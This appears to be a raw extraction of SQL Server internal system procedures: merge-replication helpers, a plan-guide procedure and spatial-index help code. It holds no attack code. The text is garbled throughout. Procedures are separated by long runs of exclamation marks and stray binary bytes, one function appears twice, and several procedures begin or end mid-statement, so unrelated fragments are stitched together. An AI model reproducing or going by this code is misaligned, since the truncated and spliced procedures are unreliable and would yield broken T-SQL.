     @datasource_type   int = 0,             /* 0 = SQL Server, 1 = DSN, 2 = Jet */
     @server_name       sysname = NULL,      /* Server Name */
     @db_name           sysname = NULL,      /* Database Name */
     @datasource_path   nvarchar(255) = NULL,/* Datasource path - JET MDB file path etc */
     @replnick          varbinary(6) = NULL,
     @schemaversion     int = NULL,
     @subid             uniqueidentifier = NULL,
     @compatlevel       int = 10,           -- backward compatibility level, default=Sphinx
     @partition_id      int = NULL,
     @replica_version   int = 60,       -- 60=shiloh sp3 and below, 90=Yukon
     @activate_subscription bit = 1)           
as
    declare @pubid      uniqueidentifier
    declare @repid      uniqueidentifier
    declare @retcode    int
    declare @maxlevel   int

    /*
    ** ODBC Issue - trim names
    */
    select @publisher_db = RTRIM(@publisher_db)
    select @db_name = RTRIM(@db_name)
    
    /* 
    ** Security Check and publication validation
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @publisher_db, @publisher, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1
    
    if (@server_name is NULL)
        SET @server_name = publishingservername()

    if (@db_name is NULL)
        set @db_name = db_name()

    SELECT @repid = subid FROM dbo.sysmergesubscriptions
        WHERE UPPER(subscriber_server) collate database_default = UPPER(@server_name) collate database_default
            and db_name = @db_name and pubid = @pubid
    if @repid is NULL
    begin
        RAISERROR(20021, 16, -1)
        return (1)
    end

    update dbo.MSmerge_replinfo set validation_level = 0, resync_gen=-1 where repid=@repid

    if 1=@activate_subscription
    begin
        update dbo.sysmergesubscriptions set status=1 where subid=@repid and (status=5 or status=0)
    end

    if @schemaversion is not null and
       -- sp_MSsetreplicainfo is also called to update the subscriber replica info that is stored
       -- at the publisher. If the subscriber has a schemaversion of -1, it means that the subscriber
       -- wants to reinit. However, this should not be set at the publisher, because this would
       -- falsely indicate that the publisher wants to reinit.
       (
            @schemaversion <> -1 or
            UPPER(publishingservername()) collate database_default <> UPPER(@publisher) collate database_default or
            db_name() <> @publisher_db
       )
    begin
        update dbo.sysmergesubscriptions set schemaversion = @schemaversion where subid = @repid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end
        
    if @subid is not null and @subid <> @repid
    begin
        /* Fix the repid for pull subscribers before we copy around global replica rows */
        update dbo.MSmerge_replinfo set repid = @subid where repid = @repid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
        update dbo.sysmergesubscriptions set subid = @subid where subid = @repid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end
        
    if @replnick IS NOT NULL        
    begin
        /* If this nickname isn't already assigned, reset it */
        /* Replnick in 80 was int and in 90 is binary(6). The proc
           does a implicit conversion from int to varbinary(6) but we still
           need to reverse the binary value to get a corresponding 90 replnick */
        if @compatlevel < 90
            set @replnick= cast(reverse(substring(@replnick,1,4)) as binary(4))+ 0x0000  
        else
        begin
        	-- Fix the replnick to 4 bytes + 0x0000 if the compatlevel is less than 80.
        	-- This prevents us from having real 6 byte replnicks when there are 80 subscribers
        	-- Having real 6 byte replnicks in mixed mode can cause non-convergence because the 
        	-- lineages can not be converted from 90 to 80 and back to 90 without losing last two bytes of replnick.
		    select @maxlevel= sys.fn_MSgetmaxbackcompatlevel()

		    if @maxlevel <= 80
				set @replnick = substring(@replnick,1,4) + 0x0000        	
        end
        if exists (select * from dbo.sysmergesubscriptions
                where replnickname = @replnick and subid = subid and 
                    ((UPPER(subscriber_server) collate database_default <> UPPER(@server_name) collate database_default) or db_name <> @db_name))
            return (0)
        update dbo.sysmergesubscriptions set replnickname = @replnick where subid = @subid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end         
    
    if @partition_id is not null
    begin
        if exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid and partition_options = 3)
        begin
            if exists (select 1 from dbo.sysmergesubscriptions 
                    where pubid = @pubid and partition_id = @partition_id and subid<>@subid)
            begin
                raiserror(22525, 16, -1, @publication)
                return 1
            end
        end
        update dbo.sysmergesubscriptions set partition_id = @partition_id where subid = @subid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end
    
    if @replica_version is not null
    begin
        update dbo.sysmergesubscriptions set replica_version = @replica_version where subid = @subid
        if @@error <> 0     
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end
    
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
m
(:00h 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_subset_filters (@pubid uniqueidentifier
                                        , @use_partition_groups smallint
                                        , @dynamic_filters bit
                                        , @can_use_partition_groups bit output
                                        , @has_dynamic_filters bit output
                                        , @dynamic_filters_function_list nvarchar(500) output
                                        , @uses_host_name bit output
                                        , @uses_suser_sname bit output)
with execute as 'dbo'
as
    declare @retcode int
    , @owner_qualified_art_name nvarchar(400)
    , @art_name nvarchar(130)
    , @viewname sysname
    , @nickname int
    , @objid int
    , @subset_filterclause nvarchar(1000)
    , @found_functions bit
   
    
    -- take each subset filter and create a view on the table with a where clause of the subset 
    -- filter clause
    select top 1 @nickname = nickname
                , @objid = objid
                , @subset_filterclause = subset_filterclause
    from dbo.sysmergearticles
    where pubid = @pubid
    and subset_filterclause is not null
    and rtrim(ltrim(subset_filterclause)) <> ''
    order by nickname
    
    while @nickname is not null
    begin
        
        select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
                , @art_name = quotename(name)
        from sys.objects
        where object_id = @objid
        
        select @viewname = quotename('MSmerge_subset_filter_view_' + convert(nvarchar(40), newid()))
        
        begin tran
        save tran check_subset_filter_partid_lim
        
        exec ('create view dbo.' + @viewname + ' as select placeholder = 1 from ' + @owner_qualified_art_name + ' ' + @art_name +  
                ' where ' + '(' + @subset_filterclause + ')')
                    
        if @@error <> 0
            goto UNDO
            
        set @found_functions = 0
            
        exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @viewname
                                                                , @has_dynamic_filters = @found_functions output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
                                                                
        if @@error <> 0 or @retcode <> 0
            goto UNDO
        
        if @found_functions = 1
        begin
            set @has_dynamic_filters = 1
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
        end        
        
        set @found_functions = 0
        
        exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                                , @use_partition_groups = @use_partition_groups
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @found_functions output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            goto UNDO
            
        if @found_functions = 1
        begin
            set @can_use_partition_groups = 0
            set @has_dynamic_filters = 1
            
            if @use_partition_groups in (1,2)
            begin
                -- no need to raise new error. sp_MScheck_functions_indirectly_in_view would have
                -- raised an error if it had found any functions.
                goto UNDO
            end
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
        end        
    
        -- rollback tran so that the temp view gets dropped. 
        rollback tran check_subset_filter_partid_lim
        commit tran
        
        -- Check the next subset filter.    
                
        select top 1 @nickname = nickname
                , @objid = objid
                , @subset_filterclause = subset_filterclause
        from dbo.sysmergearticles
        where pubid = @pubid
        and subset_filterclause is not null
        and rtrim(ltrim(subset_filterclause)) <> ''
        and nickname > @nickname
        order by nickname
        
        if @@rowcount = 0
            set @nickname = NULL
    end
    
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_subset_filter_partid_lim
        commit tran
        return 1
    end
0" r8create function sys.fn_MSmerge_mightneedrowtrackbcp (@pubid uniqueidentifier)
returns bit
as
begin
    if exists(select * from dbo.sysmergepublications
                where pubid=@pubid and 
                      allow_anonymous=1 and
                      sync_mode=1)
    begin
        return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<4
+A0" r8create function sys.fn_MSmerge_mightneedrowtrackbcp (@pubid uniqueidentifier)
returns bit
as
begin
    if exists(select * from dbo.sysmergepublications
                where pubid=@pubid and 
                      allow_anonymous=1 and
                      sync_mode=1)
    begin
        return 1
    end

    return 0
end
0*@ 8
create procedure sys.sp_MSgetsupportabilitysettings
    (@publisher            sysname,
     @publisher_db         sysname,
     @publication          sysname,
     @server_name          sysname  = NULL,         /* Replica or subscriber Server Name */
     @db_name              sysname  = NULL,         /* Replica or subscriber Database Name */
     @web_server		   sysname  = NULL,			/* name of the IIS server */	
     @compatlevel        int = 90)                  -- backward compatibility level, default=Sphinx
     
as
    declare    @retcode           		int
    declare    @subid             		uniqueidentifier
    declare    @pubid             		uniqueidentifier
    declare    @last_log_upload_time    datetime
    declare	   @minutes_since_last_log_upload int
	declare    @upload_interval_in_minutes int
    declare    @upload_requested		int

    select @publisher_db = RTRIM(@publisher_db)
    select @db_name = RTRIM(@db_name)
    
    /* 
    ** Security Check and publication validation
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @publisher_db, @publisher, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    if (@server_name is NULL)
        SET @server_name = publishingservername()

    if (@db_name is NULL)
        set @db_name = db_name()
        
    SELECT @subid = subid
        FROM dbo.sysmergesubscriptions
        WHERE UPPER(subscriber_server) collate database_default = UPPER(@server_name) collate database_default 
            and db_name = @db_name and pubid = @pubid 

    if @subid is NULL
    begin
        RAISERROR(20021, 16, -1)
        return (1)
    end

    set @upload_requested = 0

    SELECT @upload_interval_in_minutes = upload_interval,
		    @last_log_upload_time = last_log_upload_time
    from dbo.MSmerge_supportability_settings
    WHERE pubid = @pubid  and subid = @subid and
            ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
            UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default ))

	if @upload_interval_in_minutes = 0
		set @upload_requested = 1
	else if @last_log_upload_time is not null
	begin
	    select @minutes_since_last_log_upload = datediff(mi, @last_log_upload_time,  getdate())
	    if @minutes_since_last_log_upload > @upload_interval_in_minutes
	    	set @upload_requested = 1
	end

    select top 1 support_options, log_severity, log_modules, log_file_path, log_file_name, log_file_size, no_of_log_files, @upload_requested, delete_after_upload, custom_script, message_pattern,
                agent_xe, agent_xe_ring_buffer, sql_xe
    	from dbo.MSmerge_supportability_settings
        WHERE pubid = @pubid and subid = @subid and
            ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
            UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default ))
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`

<zh+.^0@ `8
create procedure sys.sp_create_plan_guide_from_handle
	@name sysname,
	@plan_handle varbinary(64),
	@statement_start_offset int = NULL
as
BEGIN TRANSACTION

EXEC %%PlanGuide(Name = @name).CreateAndFireTriggerFromCache(Value = @name, Value = @plan_handle, Value = @statement_start_offset)

COMMIT TRANSACTION
0 
8
/* Add the conflict table pointer to dbo.sysmergearticles - Used by reconciler */
create procedure sys.sp_MSsetconflicttable (
    @article            sysname,
    @conflict_table     sysname,
    @publisher          sysname = NULL,
    @publisher_db       sysname = NULL, 
    @publication        sysname = NULL
    ) AS

    declare @artid uniqueidentifier
    declare @pubid uniqueidentifier
    declare @quoted_conflict_table nvarchar(270)
    declare @qual_conflict_table nvarchar(270)
    declare @basetableid    int
    declare @conflicttableowner nvarchar(270)
    declare @retcode int

    --special case'd this out for backward compatibility with 7.0 subscribers.
    if @publisher is NULL and @publisher_db is NULL and @publication is NULL
        return (0)

    /* 
    ** Security Check get @pubid
    */
    SELECT @pubid = NULL
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @publisher_db, @publisher, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

       
    select @artid = artid, @basetableid=objid FROM dbo.sysmergearticles WHERE name = @article and pubid=@pubid  
    if @artid IS NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        RETURN (1)
    END

    select @quoted_conflict_table = quotename(@conflict_table)

    -- in yukon the conflict table will always be owned by dbo schema
    select @qual_conflict_table = '[dbo].' + @quoted_conflict_table
    
    exec @retcode = sys.sp_MS_marksystemobjectwitherror @qual_conflict_table
    if @retcode<>0 or @@ERROR<>0 return (1)
    update dbo.sysmergearticles set conflict_table = @conflict_table where artid = @artid and pubid=@pubid
    if @@ERROR <> 0
        return (1)

    declare @rgcol nvarchar(258)
    declare @indname nvarchar(258)
    declare @owner sysname
    declare @quotedname nvarchar(517)
        
    select @rgcol = QUOTENAME(name) from sys.columns where object_id = @basetableid and is_rowguidcol = 1
    select @owner=SCHEMA_NAME(schema_id) from sys.objects where name=@conflict_table
    select @indname = 'uc_' + @conflict_table
    if len(@indname) > 128
        begin
            select @indname = substring(@indname,1,92) + convert(nvarchar(36), newid())
        end
    set @indname = QUOTENAME(@indname)
    set @quotedname = QUOTENAME(@owner) + '.' + QUOTENAME(@conflict_table)

    --only create the conflict table index when needed.
    if not exists (select * from sys.indexes where object_id = object_id(@quotedname) and index_id = 1)
                    and exists (select * from sys.columns where object_id = object_id(@quotedname) and quotename(name) = @rgcol)
                    and exists (select * from sys.columns where object_id = object_id(@quotedname) and name = 'origin_datasource')
    begin
        exec ('Create unique clustered index ' + @indname + ' on ' + @quotedname +
                ' (' + @rgcol + ',origin_datasource)' )
        if @@error <> 0
            return (1)
    end

    /* Create the conflict insert proc only when necessary for performance reason */
    if exists (select * from dbo.sysmergearticles where artid = @artid and pubid=@pubid and OBJECT_ID(ins_conflict_proc) is null)
    BEGIN
        exec sys.sp_MSgetconflictinsertproc @pubid=@pubid, @artid = @artid, @output = 0, @force_generate_proc = 1
        IF @@ERROR<> 0 OR @retcode <> 0
            return (1)
    END

    return (0)
_count) 
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @internaltab_id;

	SELECT  @base_table_rows = sum(row_count)
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @objid AND index_id = 1;

	SET @execstr = N'SELECT @results_card=count(*) FROM ' + 
		@quoted_table_name + 
		N' t WITH(INDEX='+
		QUOTENAME(@indexname, N']')+
		+ ') WHERE t.' + QUOTENAME(@colname, N']') + '.STIntersects(@window)=1';

	SET @param_def = '@window geography, @results_card BIGINT OUTPUT';
	EXEC sp_executesql @execstr, @param_def, @window, @results_card OUTPUT;

	-- tesellate the query window object now.

	IF (@tess_scheme = 2)
	BEGIN
		DECLARE @gridtranslater TABLE(gridsize INT, gridcode INT);

		INSERT INTO @gridtranslater values (16, 2)
		INSERT INTO @gridtranslater values (64, 3)
		INSERT INTO @gridtranslater values (256, 4)

		DECLARE @gridcode1		INT,	-- level1 grid code
			@gridcode2		INT,	-- level2 grid code 
			@gridcode3		INT,	-- level3 grid code 
			@gridcode4		INT;	-- level4 grid code  

		SELECT @gridcode1 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize1
		SELECT @gridcode2 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize2
		SELECT @gridcode3 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize3
		SELECT @gridcode4 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize4

		CREATE TABLE #temp_window_object_tessellation(cell_id BINARY(5), cell_attributes INT, srid INT);

		INSERT INTO #temp_window_object_tessellation
		SELECT * FROM Sys.GetGeographyTessellation_VarBinary(@window, 
		@gridcode1, @gridcode2, @gridcode3, @gridcode4, 
		@cells_per_object, 1, NULL);

		EXEC sys.sp_help_spatial_index_internal
			@minx, @miny, @maxx, @maxy,
			@gridsize1, @gridsize2, @gridsize3, @gridsize4,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput;

		DROP TABLE #temp_window_object_tessellation;
	END
	ELSE
	BEGIN
		-- distinct SRIDs
		DECLARE @distinct_srids BIGINT;
		SET @execstr = N'SELECT @distinct_srids=COUNT(DISTINCT ' + QUOTENAME(@colname, N']') + '.STSrid) FROM ' + @quoted_table_name;
		SET @param_def = '@distinct_srids BIGINT OUTPUT';
		EXEC sp_executesql @execstr, @param_def, @distinct_srids OUTPUT;

		CREATE TABLE #temp_window_object_tessellation_auto(id BINARY(5), attr TINYINT, limitid BINARY(5))

		INSERT INTO #temp_window_object_tessellation_auto
		SELECT id, attr, limitid FROM Sys.GeodeticTessellation(@window, @cells_per_object, 9, 1, NULL)

		EXEC sys.sp_help_spatial_index_internal_auto
			@minx, @miny, @maxx, @maxy,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput,
			@distinct_srids

		DROP TABLE #temp_window_object_tessellation_auto
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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TPUT report in XML form rather than AS a rowset
	@xml_output		XML OUTPUT,		-- XML variable to OUTPUT
	@verboseoutput		TINYINT,		-- OUTPUT all properties
	@window			geography		-- query window object
)
AS
BEGIN
	SET NOCOUNT ON
	SET ARITHIGNORE ON
	SET ARITHABORT OFF
	SET ANSI_WARNINGS OFF

	DECLARE @objid			INT,	-- the object id of the TABLE
			@indid			INT,	-- the INDEX id of an INDEX
			@tess_scheme	INT,	-- Index Extension Scheme ID
			@groupid		INT,	-- the filegroup id of an INDEX
			@internaltab_id INT,	-- internal TABLE id
			@dbname			SYSNAME,-- the dbname
			@minx			INT,	-- minx
			@miny			INT,	-- miny
			@maxx			INT,	-- maxx
			@maxy			INT,	-- maxy
			@gridsize1		INT,	-- level1 cells
			@gridsize2		INT,	-- level2 cells
			@gridsize3		INT,	-- level3 cells
			@gridsize4		INT,	-- level4 cells
			@cells_per_object INT,	-- cells per object
			@results_card	BIGINT,	-- number of rows selected by the secondary filter
			@index_total_pages BIGINT,	-- total pages used by the INDEX
			@base_table_rows BIGINT,	-- total number of rows in the basetable
			@execstr		NVARCHAR(2000), -- for execution stuff
			@param_def NVARCHAR(500),  -- param def
			@colname	SYSNAME,	-- column name
			@internaltabname	SYSNAME, -- the internal TABLE used by the INDEX
			@quoted_table_name nvarchar(900);
			
	-- Check to see that the object names are local to the current database.
	SELECT @dbname = parsename(@tabname,3)
	IF @dbname is null
		SELECT @dbname = db_name()
	ELSE IF @dbname <> db_name()
		BEGIN
			raiserror(15250,-1,-1)
			return (1)
		END

	-- Check to see the the TABLE exists and initialize @objid.
	SELECT @objid = object_id(@tabname)
	IF @objid is NULL
	BEGIN
		raiserror(15009,-1,-1,@tabname,@dbname)
		return (1)
	END

	-- Locate the spatal INDEX
	SELECT @indid=index_id, @tess_scheme=spatial_index_type FROM sys.spatial_indexes
	WHERE name = @indexname and object_id = @objid and (spatial_index_type = 2 or spatial_index_type = 4)
	IF @indid is NULL
	BEGIN
		raiserror(15009,-1,-1,@indexname,@dbname)
		return (1)
	END

	set @quoted_table_name = QUOTENAME(@dbname, N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_SCHEMA_NAME(@objid), N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_NAME(@objid), N']');

	-- figure out the grid sizes
	SELECT @minx = -180, 
			@miny = -90, 
			@maxx = 180,
			@maxy = 90,  
			@cells_per_object = cells_per_object,
			@gridsize1 = level_1_grid, 
			@gridsize2 = level_2_grid, 
			@gridsize3 = level_3_grid, 
			@gridsize4 = level_4_grid 
	FROM sys.spatial_index_tessellations WHERE 
		object_id = @objid and index_id = @indid;

	-- obtain the internal TABLE name
	SELECT @internaltabname = 'sys.' + name from sys.internal_tables where
		parent_object_id = @objid
		AND parent_minor_id = @indid


	-- also find the internal object id
	SELECT @internaltab_id=object_id FROM sys.internal_tables 
		WHERE parent_id = @objid and parent_minor_id = @indid;

	SELECT @colname = c.name FROM sys.columns c,  sys.index_columns ic 
	WHERE ic.index_id = @indid and ic.object_id = @objid and c.column_id = ic.column_id and 
	ic.object_id = c.object_id
	
	-- compute total rows and pages used by the INDEX and the number of rows in the basetable
	SELECT  @index_total_pages = sum(used_page_count) 
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @internaltab_id;

	SELECT  @base_table_rows = sum(row_count)
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @objid AND index_id = 1;

	SET @execstr = N'SELECT @results_card=count(*) FROM ' + 
		@quoted_table_name + 
		N' t WITH(INDEX='+
		QUOTENAME(@indexname, N']')+
		+ ') WHERE t.' + QUOTENAME(@colname, N']') + '.STIntersects(@window)=1';

	SET @param_def = '@window geography, @results_card BIGINT OUTPUT';
	EXEC sp_executesql @execstr, @param_def, @window, @results_card OUTPUT;

	-- tesellate the query window object now.

	IF (@tess_scheme = 2)
	BEGIN
		DECLARE @gridtranslater TABLE(gridsize INT, gridcode INT);

		INSERT INTO @gridtranslater values (16, 2)
		INSERT INTO @gridtranslater values (64, 3)
		INSERT INTO @gridtranslater values (256, 4)

		DECLARE @gridcode1		INT,	-- level1 grid code
			@gridcode2		INT,	-- level2 grid code 
			@gridcode3		INT,	-- level3 grid code 
			@gridcode4		INT;	-- level4 grid code  

		SELECT @gridcode1 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize1
		SELECT @gridcode2 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize2
		SELECT @gridcode3 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize3
		SELECT @gridcode4 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize4

		CREATE TABLE #temp_window_object_tessellation(cell_id BINARY(5), cell_attributes INT, srid INT);

		INSERT INTO #temp_window_object_tessellation
		SELECT * FROM Sys.GetGeographyTessellation_VarBinary(@window, 
		@gridcode1, @gridcode2, @gridcode3, @gridcode4, 
		@cells_per_object, 1, NULL);

		EXEC sys.sp_help_spatial_index_internal
